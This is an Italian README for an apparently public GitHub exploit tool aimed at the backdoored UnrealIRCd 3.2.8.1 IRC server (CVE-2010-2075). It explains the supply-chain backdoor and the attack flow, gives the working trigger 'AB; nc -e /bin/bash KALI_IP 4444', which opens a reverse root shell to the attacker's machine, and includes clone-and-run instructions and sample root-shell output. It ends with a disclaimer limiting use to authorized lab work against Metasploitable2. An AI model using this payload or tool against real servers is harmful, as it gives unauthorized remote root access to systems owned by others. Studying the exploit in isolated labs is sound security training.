Backdoor exploit di UnrealIRCd 3.2.8.1 — reverse shell tramite AB; trigger, creato da zero in Python usando socket raw. Nessun Metasploit.
UnrealIRCd è un server IRC (Internet Relay Chat) open-source — un protocollo che consente agli utenti di comunicare in tempo reale su una rete, simile alle prime piattaforme di chat.
Nel 2009–2010, è stato scoperto che UnrealIRCd 3.2.8.1 distribuito tramite i mirror di download ufficiali era stato compromesso. Un attaccante aveva sostituito il codice sorgente legittimo con una versione backdoorata contenente un trigger nascosto per l'esecuzione di comandi.
Questo è stato un attacco supply chain — identico per natura a CVE-2011-2523 (vsftpd 2.3.4). Il software legittimo è stato sostituito con una versione modificata malevolmente prima che gli utenti lo scaricassero.
La backdoor monitora tutti i dati in ingresso sulla porta 6667. Se un input inizia
con la stringa AB;, tutto ciò che segue viene passato —
bypassando completamente tutta la logica IRC, l'autenticazione e i controlli di registrazione.
system()Il trigger si attiva durante la fase di inizializzazione della connessione, prima che il server IRC registri persino il client. Nessun NICK, nessun USER, nessuna autenticazione richiesta.
Flusso dell'attacco:
Attacker (Kali) Target (Metasploitable2)
1. s1 connects to port 6667
NICK + USER handshake → Server sends full banner
Read banner, check version
Confirm Unreal3.2.8.1
2. Open listener on port 4444
(waiting for incoming shell)
3. s2 connects to port 6667 → AB; nc -e /bin/bash KALI_IP 4444
→ system() executes immediately
→ netcat spawns bash, connects back
4. listener.accept() ← Incoming root shell connection
Interactive root shell
Questo exploit utilizza una reverse shell — il target si connette all'attaccante, anziché l'attaccante connettersi a una porta sul target.
| Tipo | Direzione | Utilizzato In |
|---|---|---|
| Bind shell | Attaccante → Target | CVE-2011-2523 (vsftpd) |
| Reverse shell | Target → Attaccante | CVE-2010-2075 (UnrealIRCd) |
Le reverse shell bypassano le regole del firewall in entrata — le connessioni in uscita dal target sono raramente bloccate.
netcat installato sul target (presente di default su Metasploitable2)git clone https://github.com/rushikesh-a-bhujbal/CVE-2010-2075.git
cd exploit-dev/CVE-2010-2075
Modifica main.py e imposta:
kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"
Esegui:
python3 main.py
Output di esempio:
[+] Vulnerable version confirmed. Proceeding...
[*] Listening on port 4444...
[+] Shell received from ('192.168.15.132', 58280)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/etc/unreal
> exit
| Scenario | Comportamento |
|---|---|
| Porta 6667 chiusa | Stampa "Port Closed", esce in modo pulito |
| Versione errata | Stampa "Not vulnerable", esce in modo pulito |
| Il target non richiama | listener.accept() attende (aggiungi un timeout se necessario) |
| Il comando non produce output | recv() va in timeout silenziosamente, ritorna al prompt |
| CVE-2011-2523 (vsftpd) | CVE-2010-2075 (UnrealIRCd) | |
|---|---|---|
| Protocollo | FTP (porta 21) | IRC (porta 6667) |
| Trigger | :) nel nome utente | Prefisso AB; su qualsiasi input |
| Tipo di shell | Bind shell (porta 6200) | Reverse shell (porta dell'attaccante) |
| Connessioni | 2 in uscita | 1 in uscita + 1 in entrata |
Questo exploit è sviluppato strettamente per scopi educativi e per ricerca di sicurezza autorizzata.
Creato e testato esclusivamente contro una macchina virtuale Metasploitable2 locale in un ambiente di laboratorio completamente isolato.
Non utilizzare questo strumento contro qualsiasi sistema di cui non sei proprietario o per cui non hai esplicita autorizzazione scritta per il test. L'uso non autorizzato è illegale ai sensi del Computer Fraud and Abuse Act (CFAA) e leggi equivalenti in tutto il mondo.
L'autore non si assume alcuna responsabilità per l'uso improprio di questo codice.
Rushikesh Bhujbal
Security Research & Exploit Development
GitHub